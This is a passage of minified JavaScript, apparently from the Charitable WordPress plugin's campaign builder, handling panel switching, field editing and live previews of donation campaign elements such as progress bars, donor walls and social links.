k=e.keyCode||e.which,ok=k>=65&&k\u003C=90||k>=96&&k\u003C=105||k>=35&&k\u003C=40||k==32||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k\u003C=105||(k==110||k==190)||k>=37&&k\u003C=40||k==46||k==173||k==8||k>=48&&k\u003C=57;if(!ok||e.ctrlKey&&e.altKey){e.preventDefault()}});$builder.on(\"change\",'.charitable-tab-title-row input[type=\"text\"]',function(e){if($(this).val().trim()===\"\"){$(this).val(\"New Tab\")}})},bindUIInputRange:function(){$builder.on(\"mouseenter\",'input[type=\"range\"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\"));if(field_id>0){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-preview-field-indicator\").removeClass(\"charitable-hidden\")}});$builder.on(\"mouseleave\",'input[type=\"range\"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\"));if(field_id>0){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-preview-field-indicator\").addClass(\"charitable-hidden\")}})},bindAutoResizeCampaignTitle:function(){$builder.on(\"input\",\"input#charitable_settings_title\",function(e){var $this=$(this),the_text=$this.val(),the_text_characters=the_text.length,the_padding=10,the_input_box_width=the_text_characters*12.8+the_padding;wpchar.debug(the_text);wpchar.debug(the_text_characters);wpchar.debug($(\"#charitable_settings_title\").val());app.setCampaignNotSaved();app.updateFormUI(\"title\",the_text);app.resizeTopCampaignTitleInputBox()});$builder.on(\"focusout\",\"input#charitable_settings_title\",function(e){})},resizeTopCampaignTitleInputBox:function(){},bindCampaignTitleBlockTextField:function(){$builder.on(\"keyup\",\"input.charitable-campaign-builder-title\",function(e){app.updateFormUI(\"title\",$(this).val())})},bindUIEditCampaignTitle:function(){},allowTitleUpdate:function($container){if($container.hasClass(\"edit\")){$(\"#charitable_settings_title\").attr(\"disabled\",true);$container.removeClass(\"edit\")}else{$(\"#charitable_settings_title\").removeAttr(\"disabled\");$container.addClass(\"edit\");$(\"#charitable_settings_title\").focus().select()}},bindUIActionsPanels:function(){$builder.on(\"click\",\"#charitable-panels-toggle button:not(.charitable-panel-help-button), .charitable-panel-switch\",function(e){e.preventDefault();if(!$(this).hasClass(\"disabled\")){app.panelSwitch($(this).data(\"panel\"))}});$builder.on(\"click\",\".charitable-panel-help-button, #charitable-panels-toggle a:has(.charitable-panel-help-button)\",function(e){var $anchor=$(this).closest(\"a\");if(!$anchor.length){$anchor=$(this).is(\"a\")?$(this):$(this).closest(\"a\")}if($anchor.length&&$anchor.attr(\"href\")){e.stopPropagation();e.stopImmediatePropagation();var href=$anchor.attr(\"href\");var target=$anchor.attr(\"target\")||\"_blank\";if(target===\"_blank\"){window.open(href,target)}else{window.location.href=href}return false}});$builder.on(\"click\",\".charitable-panel .charitable-panel-sidebar-section:not(.charitable-need-upgrade):not(.charitable-not-available):not(.charitable-not-installed):not(.charitable-not-activated):not(.charitable-installed-refresh):not(.charitable-not-available):not(.charitable-addon-file-missing)\",function(e){app.panelSectionSwitch(this,e)});$builder.on(\"click\",\".charitable-panels .charitable-panel-sidebar-content .charitable-panel-sidebar-toggle\",function(){$(this).parent().toggleClass(\"charitable-panel-sidebar-closed\")});$builder.on(\"focusout\",'input[name=\"tabs__campaign__title\"]',function(e){e.preventDefault();app.updateFormUI(\"tabs__campaign__title\",$(this).val())});app.bindUIActionPanelsTabs()},bindUIActionPanelsTabs:function(){$builder.on(\"input\",'.charitable-tab-title-row input[type=\"text\"]',function(e){e.preventDefault();var $textBox=$(this),$the_element=$textBox.closest(\".charitable-group\"),theGroupID=$the_element.attr(\"data-group_id\"),updatedText=0===$textBox.val().length?\"New Tab\":$textBox.val(),updatedTextClean=app.removeTags(updatedText);$the_element.find(\".charitable-general-layout-heading\").find(\"span\").html(updatedTextClean);$(\"nav.charitable-campaign-preview-nav ul\").find(\"#tab_\"+theGroupID+\"_title a\").html(updatedTextClean)})},checkHideTabNavigation:function(){const tab_count=$(\"#charitable-field-options .charitable-layout-options-tab-group\").length-1;if(tab_count>1){$(\"#charitable-field-options\").find(\"input.charitable-settings-tab-visible-nav\").each(function(){$(this).prop(\"checked\",false).attr(\"disabled\",true);$(this).parent().find(\"label\").addClass(\"charitable-disabled\");elements.$preview.find(\"nav.charitable-campaign-preview-nav li\").removeClass(\"charitable-tab-hide\")})}else{$(\"#charitable-field-options\").find(\"input.charitable-settings-tab-visible-nav\").each(function(){$(this).removeAttr(\"disabled\");$(this).parent().find(\"label\").removeClass(\"charitable-disabled\")})}},removeTags:function(theString){return theString},panelSwitch:function(panel){var $panel=$(\"#charitable-panel-\"+panel),$panelBtn=$(\".charitable-panel-\"+panel+\"-button\"),cookieName=\"charitable_panel\";if(!app.hasTemplate()&&panel!==\"template\"){return}if(!$panel.hasClass(\"active\")){const event=CharitableUtils.triggerEvent($builder,\"charitablePanelSwitch\",[panel]);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$(\"#charitable-panels-toggle\").find(\"button\").removeClass(\"active\");$(\".charitable-panel\").removeClass(\"active\");$panelBtn.addClass(\"active\");$panel.addClass(\"active\");history.replaceState({},null,wpchar.updateQueryString(\"view\",panel));$builder.trigger(\"charitablePanelSwitched\",[panel]);wpCookies.set(cookieName,panel,2592e3);wpCookies.set(\"charitable_panel_content_section\",\"\",2592e3);wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3)}},panelSectionSwitch:function(el,e){if(e){e.preventDefault()}var $this=$(el),$panel=$this.parent().parent(),section=$this.data(\"section\"),$sectionButtons=$panel.find(\".charitable-panel-sidebar-section\"),$sectionButton=$panel.find(\".charitable-panel-sidebar-section-\"+section);if($this.hasClass(\"upgrade-modal\")||$this.hasClass(\"education-modal\")){return}if(!$sectionButton.hasClass(\"active\")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton)}},panelSectionSwitchTo:function(section,$panel,$sectionButtons,$sectionButton){const event=CharitableUtils.triggerEvent($builder,\"charitablePanelSectionSwitch\",section);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$sectionButtons.removeClass(\"active\");$sectionButton.addClass(\"active\");$panel.find(\".charitable-panel-content-section\").hide();$panel.find(\".charitable-panel-content-section-\"+section).show();var cookieName=\"charitable_panel_content_section\";wpCookies.set(cookieName,section,2592e3)},bindUIActionsFields:function(){$builder.on(\"click\",\".charitable-tab a\",function(e){e.preventDefault();app.fieldTabToggle($(this).parent().attr(\"id\"));if(\"add-layout\"===$(this).parent().attr(\"id\")){app.resetPreviewArea()}});$builder.on(\"click\",\".charitable-layout-options-tab-tabs .charitable-toggleable-group\",function(e){e.preventDefault();app.fieldGroupTogglev2($(this),\"click\")});$builder.on(\"click\",\".charitable-add-fields .charitable-toggleable-group\",function(e){e.preventDefault();app.fieldGroupTogglev3($(this),\"click\")});$builder.on(\"click\",\".charitable-tab-group-delete\",function(e){e.preventDefault();e.stopPropagation();if(app.isFormPreviewActionsDisabled(this)){return}var $the_element=$(this).closest(\".charitable-group\"),theGroupID=$the_element.attr(\"data-group_id\");app.tabDelete(theGroupID)});$builder.on(\"click\",\".charitable-field\",function(e){if(e.target.classList.contains(\"charitable-dismiss-button\")){return}e.stopPropagation();$(this).find(\".charitable-field-edit\").click()});$builder.on(\"click\",\".charitable-field-delete\",function(e){e.preventDefault();e.stopPropagation();var confirmation=$(this).parent().hasClass(\"charitable-missing-addon-content\")?false:true,field_id=parseInt($(this).closest(\".charitable-field\").data(\"field-id\"));app.fieldDelete(field_id,confirmation)});$builder.on(\"click\",\".charitable-field-duplicate\",function(e){e.preventDefault();e.stopPropagation();app.fieldDuplicate($(this).parent().data(\"field-id\"))});$builder.on(\"click\",\".charitable-field-edit\",function(e){e.preventDefault();e.stopPropagation();app.resetPreviewArea();$(this).parent().addClass(\"active\");$(\"ul.charitable-tabs li#add-layout a\").removeClass(\"active\");$(\"ul.charitable-tabs li#layout-options a\").addClass(\"active\");var field_id=parseInt($(this).parent().data(\"field-id\"));wpCookies.set(\"charitable_panel_active_field_id\",field_id,2592e3);app.fieldEdit($(this).data(\"type\"),$(this).data(\"section\"),$(this).parent().data(\"field-id\"),field_id,$(this).parent().data(\"field-type\"))});$builder.on(\"click\",\".charitable-add-fields-button\",function(e){e.preventDefault();const $field=$(this);if($field.hasClass(\"ui-draggable-disabled\")){return}let type=$field.data(\"field-type\"),event=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldAddOnClick\",[type,$field]);if(event.isDefaultPrevented()){return}app.fieldAdd(type,{$sortable:\"default\"})});$builder.on(\"charitableFieldAdd\",function(event,id,type){const fieldTypes=[\"campaign-title\",\"campaign-description\",\"campaign-overview\",\"progress-bar\",\"donation-options\",\"social-sharing\",\"social-links\",\"photo\",\"organizer\",\"html\",\"donate-button\",\"donate-amount\",\"campaign-summary\",\"donate-form\",\"donor-wall\",\"shortcode\",\"text\",\"video\"];if($.inArray(type,fieldTypes)!==-1){app.fieldChoiceSortable(type,`#charitable-field-option-row-${id}-choices ul`)}else{}});$builder.on(\"click\",\".charitable-group-toggle\",function(e){const event=CharitableUtils.triggerEvent($builder,\"charitableFieldOptionGroupToggle\");if(event.isDefaultPrevented()){return false}e.preventDefault();app.resetPreviewArea();var $group=$(this).closest(\".charitable-layout-options-tab\");$group.siblings(\".charitable-layout-options-tab\").removeClass(\"active\");$group.addClass(\"active\");if($(this).parent().hasClass(\"charitable-layout-options-tab-tabs\")){$(\"#charitable-preview-tab-container\").toggleClass(\"active\")}else{$(\"#charitable-preview-tab-container\").removeClass(\"active\")}if($(this).parent().hasClass(\"charitable-layout-options-tab-general\")){wpCookies.set(\"charitable_panel_design_layout_options_group\",\"general\",2592e3)}else if($(this).parent().hasClass(\"charitable-layout-options-tab-tabs\")){wpCookies.set(\"charitable_panel_design_layout_options_group\",\"tabs\",2592e3)}else if($(this).parent().hasClass(\"charitable-layout-options-tab-advanced\")){wpCookies.set(\"charitable_panel_design_layout_options_group\",\"advanced\",2592e3)}wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3);$(\".charitable-layout-options-tab-general .charitable-layout-options-group-inner\").html();$(\".charitable-campaign-preview .charitable-select-field\").removeClass(\"active\")});$builder.on(\"click\",\".charitable-field-edit\",function(e){e.preventDefault();$(\"#layout-options a\").addClass(\"active\");$(\".charitable-add-fields\").hide();$(\".charitable-field-options\").show();var $group=$(\".charitable-layout-options-tab-general\");$group.siblings(\".charitable-layout-options-tab\").removeClass(\"active\");$group.addClass(\"active\")});$builder.on(\"click\",function(){app.focusOutEvent()});app.photoFieldEvents($builder);app.campaignSummaryEvents($builder);app.socialSharingEvents($builder);app.socialLinkingEvents($builder);app.donateButtonEvents($builder);app.donateWallEvents($builder);app.progressBarEvents($builder);app.shortcodeEvents($builder);app.organizerEvents($builder);app.cssTextFieldEvents($builder);app.textFieldEvents($builder);app.headlineEvents($builder);app.numberSliderEvents($builder);app.alignFieldEvents($builder);\u002F *highlights *\u002F;app.highlightEvents($builder);app.advancedLayoutOptionsEvents($builder);app.previewHover($builder);app.goalEvents($builder);app.endDateEvents($builder)},endDateEvents:function($builder){$builder.on(\"change\",\"#charitable-panel-field-settings-campaign_end_date\",function(e){app.updateEndDateRelatedItems($(this).val())})},updateEndDateRelatedItems:function(endDate=\"\",theField=$(\"#charitable-panel-field-settings-campaign_end_date\")){if(endDate===\"\"){if(theField.length){endDate=theField.val()}}if(endDate.trim()===\"\"){wpchar.debug(\"updateEndDateRelatedItems - no end date\");elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\");$(this).find(\".campaign-time-left.campaign-summary-item\").addClass(\"charitable-hidden\");wpchar.debug($('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_time_remaining]\"));elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_time_remaining]\").attr(\"disabled\",true).addClass(\"charitable-disabled\").prop(\"checked\",false).next().addClass(\"charitable-disabled\")})}else{wpchar.debug(\"updateEndDateRelatedItems - there is an end date\");elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\");elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_time_remaining]\").attr(\"disabled\",false).removeClass(\"charitable-disabled\").next().removeClass(\"charitable-disabled\")})}},goalEvents:function($builder){$builder.on(\"change\",\"#charitable-panel-field-settings-campaign_goal\",function(e){app.updateGoalRelatedItems($(this).val())})},updateGoalRelatedItems:function(goalAmount=\"\",theField=$(\"#charitable-panel-field-settings-campaign_goal\")){wpchar.debug(goalAmount,\"goalAmount\");if(goalAmount===\"\"){if(theField.length){goalAmount=theField.val()}}if(goalAmount===\"\"||goalAmount===\"0\"||goalAmount===\"0.00\"){wpchar.debug(\"updateGoalRelatedItems - checkpoint 0\");elements.$preview.find(\".charitable-field-progress-bar .progress\").addClass(\"charitable-campaign-preview-not-available\").addClass(\"charitable-hidden\");elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\");$(this).find(\".campaign-raised.campaign-summary-item\").addClass(\"charitable-hidden\");wpchar.debug(elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\"));elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\").prop(\"checked\",false).attr(\"disabled\",true).addClass(\"charitable-disabled\").next().addClass(\"charitable-disabled\")});elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html();$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\"∞\")})}else{var regex_decemial=\u002F^\\d+\\.\\d+$\u002F,regex_comma=\u002F^\\d+\\,\\d+$\u002F;if(regex_comma.test(goalAmount)){wpchar.debug(\"updateGoalRelatedItems - checkpoint 1\");app.updateGoalisPresentRelatedUI();elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);wpchar.debug(charitable_builder.currency_symbol+goalAmount);$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\" \"+charitable_builder.currency_symbol+goalAmount)})}else if(regex_decemial.test(goalAmount)){wpchar.debug(\"updateGoalRelatedItems - checkpoint 2\");app.updateGoalisPresentRelatedUI();elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);santitizedValue=goalAmount.toString().replace(\u002F\\B(?=(\\d{3})+(?!\\d))\u002Fg,\",\");$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\" \"+charitable_builder.currency_symbol+santitizedValue)})}else{wpchar.debug(\"updateGoalRelatedItems - checkpoint 3\");app.updateGoalisPresentRelatedUI();goalAmount=goalAmount.replace(\u002F[^0-9\\.\\,]\u002Fg,\"\");elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html();$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\" \"+charitable_builder.currency_symbol+goalAmount)})}}},updateGoalisPresentRelatedUI:function(){elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\"),$preview_summary=$(this);if($('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\").is(\":checked\")){if(!$(this).hasClass(\"charitable-hidden\")){$preview_summary.find(\".campaign-raised.campaign-summary-item\").removeClass(\"charitable-hidden\")}}elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\").attr(\"disabled\",false).removeClass(\"charitable-disabled\").next().removeClass(\"charitable-disabled\")});elements.$preview.find(\".charitable-field-progress-bar .progress\").removeClass(\"charitable-campaign-preview-not-available\").removeClass(\"charitable-hidden\")},highlightEvents:function($builder){$builder.on(\"click\",\"a.charitable-addon-installed-charitable-lite, a.charitable-addon-installed-charitable-pro\",function(e){e.preventDefault();if($(this).hasClass(\"charitable-addon-recurring-donations\")){elements.$settingsPanel.find(\".charitable-panel-fields-group-recurring-donations\").removeClass(\"charitable-highlight\");$(\"a.charitable-panel-sidebar-section-donation-options\").click();elements.$settingsPanel.find(\".charitable-panel-fields-group-recurring-donations\").addClass(\"charitable-highlight\")}});$builder.on(\"webkitAnimationEnd oanimationend msAnimationEnd animationend\",\".charitable-panel-fields-group-recurring-donations\",function(e){elements.$settingsPanel.find(\".charitable-panel-fields-group-recurring-donations\").removeClass(\"charitable-highlight\")})},advancedLayoutOptionsEvents:function($builder){$builder.on(\"change\",\"select#charitable-design-layout-options-show-field-names\",function(e){const theField=$(this);if(theField.val()===\"hide\"){elements.$formPreview.addClass(\"charitable-preview-hide-field-names\")}else if(theField.val()===\"show\"){elements.$formPreview.removeClass(\"charitable-preview-hide-field-names\")}});$builder.on(\"change\",\"select#charitable-design-layout-options-preview-mode\",function(e){const theField=$(this);if(theField.val()===\"normal\"){elements.$formPreview.removeClass(\"charitable-preview-minimum-preview\")}else if(theField.val()===\"minimum\"){elements.$formPreview.addClass(\"charitable-preview-minimum-preview\")}})},previewHover:function($builder){$builder.on(\"mouseover\",\".charitable-view-campaign-external-link\",function(e){elements.$formPreview.addClass(\"charitable-preview-live\")});$builder.on(\"mouseleave\",\".charitable-view-campaign-external-link\",function(e){elements.$formPreview.removeClass(\"charitable-preview-live\")})},donateButtonEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"].charitable-campaign-builder-donate-button-button-label',function(e){const theTextBox=$(this),field_id=theTextBox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateDonateButtonPreview(field_id,theTextBox.attr(\"name\"),theTextBox.val())})},updateDonateButtonPreview:function(field_id=0,textFieldName=\"\",label_value=\"Donate\"){const preview_field=$(\"#charitable-field-\"+field_id);label_value=label_value.length>0?CharitableUtils.santitizeTextInput(label_value):\"Donate\";preview_field.find(\".placeholder\").html(label_value)},donateWallEvents:function($builder){$builder.on(\"input\",\".charitable-panel-field.charitable-campaign-builder-donor-wall input, .charitable-panel-field.charitable-campaign-builder-donor-wall select\",function(e){const theFormField=$(this),field_id=theFormField.closest(\".charitable-panel-field\").data(\"field-id\");app.updateDonateWallPreview(field_id,theFormField)})},updateDonateWallPreview:function(field_id=0,theFormField){var data={};$('.charitable-panel-field.charitable-campaign-builder-donor-wall[data-field-id=\"'+field_id+'\"]').each(function(){var theArea=$(this);theArea.find('input.charitable-checkbox-for-toggle[type=\"checkbox\"]:checked').each(function(){var theName=$(this).closest('.charitable-toggle-control[data-field-id=\"'+field_id+'\"]').data(\"ajax-label\");if($(this).is(\":checked\")){data[theName]=$(this).val()}else{data[theName]=0}});theArea.find('input[type=\"radio\"]:checked,input[type=\"text\"],input[type=\"number\"],select').each(function(){var theName=$(this).closest('.charitable-panel-field[data-field-id=\"'+field_id+'\"]').data(\"ajax-label\");data[theName]=$(this).val()});data.campaign_id=s.formID;data.field_type=\"donation-wall\";data.field_id=field_id;data.action=\"charitable_builder_field_content_preview\",data.nonce=charitable_builder.nonce});app.disableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').addClass(\"charitable-loading\");$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container span.placeholder\").addClass(\"charitable-loading\").parent().prepend('\u003Cdiv class=\"charitable-loading-spinner preview-ajax\">\u003C\u002Fdiv>');return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug(\"Add field AJAX call is unsuccessful:\",res);return}$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container\").replaceWith(res.data.output);var theTextBox=$('.charitable-panel-field-text[data-field-id=\"'+field_id+'\"] input[type=\"text\"].charitable-campaign-builder-headline');app.updateHeadlinePreview(field_id,theTextBox.attr(\"name\"),theTextBox.val(),theTextBox);app.enableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').removeClass(\"charitable-loading\");$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container span.placeholder\").removeClass(\"charitable-loading\").parent().remove(\".charitable-loading\")}).fail(function(xhr,textStatus,e){wpchar.debug(\"Add field AJAX call failed:\",xhr.responseText);$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').removeClass(\"charitable-loading\");$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container span.placeholder\").removeClass(\"charitable-loading\").parent().remove(\".charitable-loading\")}).always(function(){})},progressBarEvents:function($builder){$builder.on(\"change\",\".charitable-panel-field.charitable-campaign-builder-progress-bar input, .charitable-panel-field.charitable-campaign-builder-progress-bar select\",function(e){var theFormField=$(this),field_id=theFormField.attr(\"data-field-id\");app.progressBarEventsPreview(field_id,theFormField)});$builder.on(\"keyup\",\".charitable-panel-field.charitable-panel-field-text input.donate_label, .charitable-panel-field.charitable-panel-field-text input.donate_goal\",function(e){var theFormField=$(this),field_id=theFormField.attr(\"data-field-id\");app.progressBarEventsPreviewLabels(field_id,theFormField)})},progressBarEventsPreviewLabels:function(field_id=0,theFormField=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(theFormField.hasClass(\"donate_label\")){preview_field.find(\".campaign-percent-raised span\").html(theFormField.val())}if(theFormField.hasClass(\"donate_goal\")){preview_field.find(\".campaign-goal span\").html(theFormField.val())}},progressBarEventsPreview:function(field_id=0,theFormField=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(theFormField.val()===\"show_donated\"){preview_field.find(\".campaign-percent-raised\").toggleClass(\"charitable-hidden\")}if(theFormField.val()===\"show_goal\"){preview_field.find(\".campaign-goal\").toggleClass(\"charitable-hidden\")}},cssTextFieldEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[data-ajax-label=\"css_class\"]',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeCSSInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},textFieldEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"][data-ajax-label!=\"css_class\"]:not(.charitable-campaign-builder-headline, .charitable-campaign-builder-donate-button-button-label)',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeTextInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},headlineEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"].charitable-campaign-builder-headline',function(e){const theTextBox=$(this),field_id=theTextBox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateHeadlinePreview(field_id,theTextBox.attr(\"name\"),theTextBox.val(),theTextBox);app.setCampaignNotSaved()})},updateHeadlinePreview:function(field_id=0,textFieldName=\"\",label_value=\"\",theTextBox){const preview_field=$(\"#charitable-field-\"+field_id),headline=CharitableUtils.santitizeTitle(label_value),headline_html=label_value.length>0?'\u003Ch5 class=\"charitable-field-preview-headline\">'+headline+\"\u003C\u002Fh5>\":\"\",tempPlaceholderContainer=preview_field.find(\".charitable-placeholder\").length>0?\".charitable-placeholder\":\".placeholder\",placeholderContainer=preview_field.find(\".charitable-field-preview-social-sharing-headline-container\").length>0?\".charitable-field-preview-social-sharing-headline-container\":tempPlaceholderContainer;theTextBox.val(headline);preview_field.find(placeholderContainer).find(\"h5.charitable-field-preview-headline\").remove();preview_field.find(placeholderContainer).first().prepend(headline_html)},shortcodeEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"].charitable-campaign-builder-shortcode',function(e){const theTextBox=$(this),field_id=theTextBox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateShortcodePreview(field_id,theTextBox.attr(\"name\"),theTextBox.val())})},updateShortcodePreview:function(field_id=0,textFieldName=\"\",label_value=\"\"){const preview_field=$(\"#charitable-field-\"+field_id),headline_html=label_value.length>0?'\u003Ch5 class=\"charitable-field-preview-shortcode\">'+label_value+\"\u003C\u002Fh5>\":\"\";preview_field.find(\".placeholder.shortcode-preview\").find(\"h5.charitable-field-preview-shortcode\").remove();preview_field.find(\".placeholder.shortcode-preview\").first().prepend(headline_html)},organizerEvents:function($builder){$builder.on(\"change\",\".charitable-panel-field.campaign-builder-campaign-creator-id-mini select\",function(e){var theFormField=$(this),theAvatarURL=$(this).find(\"option:selected\").data(\"avatar\"),field_id=theFormField.closest(\".charitable-panel-field\").attr(\"data-field-id\");app.organizerEventsPreview(field_id,theFormField,theAvatarURL)})},organizerEventsPreview:function(field_id=0,theFormField=\"\",theAvatarURL=\"\"){$(\"select#charitable-panel-field-settings-campaign_campaign_creator_id\").select2(\"val\",theFormField.val());const preview_field=$(\"#charitable-field-\"+field_id);preview_field.find(\".charitable-organizer-name\").html(theFormField.find(\"option:selected\").text());preview_field.find(\".charitable-organizer-image\").attr(\"style\",\"background-image: url(\"+theAvatarURL+\");\")},campaignSummaryEvents:function($builder){$builder.on(\"click\",'.charitable-campaign-summary-checkboxes input[type=\"checkbox\"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateCampaignSummaryPreview(field_id,theCheckbox.attr(\"name\"))})},updateCampaignSummaryPreview:function(field_id=0,checkboxName=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(checkboxName.indexOf(\"campaign_hide_percent_raised\")>=0){preview_field.find(\".campaign_hide_percent_raised\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"campaign_hide_amount_donated\")>=0){preview_field.find(\".campaign_hide_amount_donated\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"campaign_hide_number_of_donors\")>=0){preview_field.find(\".campaign_hide_number_of_donors\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"campaign_hide_time_remaining\")>=0){preview_field.find(\".campaign_hide_time_remaining\").toggleClass(\"charitable-hidden\")}},socialSharingEvents:function($builder){$builder.on(\"click\",'.charitable-social-network-checkboxes input[type=\"checkbox\"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateSocialSharingPreview(field_id,theCheckbox.attr(\"name\"))})},updateSocialSharingPreview:function(field_id=0,checkboxName=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(checkboxName.indexOf(\"twitter\")>=0){preview_field.find(\".charitable-social-sharing-preview-twitter\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"facebook\")>=0){preview_field.find(\".charitable-social-sharing-preview-facebook\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"linkedin\")>=0){preview_field.find(\".charitable-social-sharing-preview-linkedin\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"instagram\")>=0){preview_field.find(\".charitable-social-sharing-preview-instagram\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"tiktok\")>=0){preview_field.find(\".charitable-social-sharing-preview-tiktok\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"pinterest\")>=0){preview_field.find(\".charitable-social-sharing-preview-pinterest\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"mastodon\")>=0){preview_field.find(\".charitable-social-sharing-preview-mastodon\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"threads\")>=0){preview_field.find(\".charitable-social-sharing-preview-threads\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"bluesky\")>=0){preview_field.find(\".charitable-social-sharing-preview-bluesky\").toggleClass(\"charitable-hidden\")}},socialLinkingEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"url\"].charitable-campaign-builder-social-links-text-field',function(e){var theTextField=$(this),field_id=theTextField.attr(\"data-field-id\");app.updateSocialLinksPreview(field_id,theTextField.attr(\"name\"),theTextField.val())})},updateSocialLinksPreview:function(field_id=0,textFieldName=\"\",linkURL=\"\"){const preview_field=$(\"#charitable-field-\"+field_id),social_networks=[\"twitter\",\"facebook\",\"linkedin\",\"instagram\",\"tiktok\",\"pinterest\",\"mastodon\",\"youtube\",\"threads\",\"bluesky\"];var visibleNetworks=0;$.each(social_networks,function(_index,network){if(textFieldName.indexOf(network)>=0&&app.isValidURL(linkURL)){preview_field.find(\".charitable-social-linking-preview-\"+network).removeClass(\"charitable-hidden\")}else if(textFieldName.indexOf(network)>=0){preview_field.find(\".charitable-social-linking-preview-\"+network).addClass(\"charitable-hidden\")}if(preview_field.find(\".charitable-social-linking-preview-\"+network).hasClass(\"charitable-hidden\")){}else{visibleNetworks++}});if(visibleNetworks>0){preview_field.find(\".charitable-social-linking-no-links\").addClass(\"charitable-hidden\")}else{preview_field.find(\".charitable-social-linking-no-links\").removeClass(\"charitable-hidden\")}},photoFieldEvents:function($builder){var file_frame;window.formfield=\"\";$builder.on(\"click\",\".charitable-campaign-builder-upload-button\",function(e){e.preventDefault();var button=$(this),field_id=$(this).closest(\".charitable-panel-field\").data(\"field-id\");window.formfield=$(this).parent().prev();window.field_id=field_id;if(file_frame){file_frame.open();return}file_frame=wp.media.frames.file_frame=wp.media({title:button.data(\"uploader_title\"),library:{type:\"image\"},button:{text:button.data(\"uploader_button_text\")},multiple:false});file_frame.on(\"menu:render:default\",function(view){const views={};view.unset(\"library-separator\");view.unset(\"gallery\");view.unset(\"featured-image\");view.unset(\"embed\");view.set(views)});file_frame.on(\"select\",function(){const 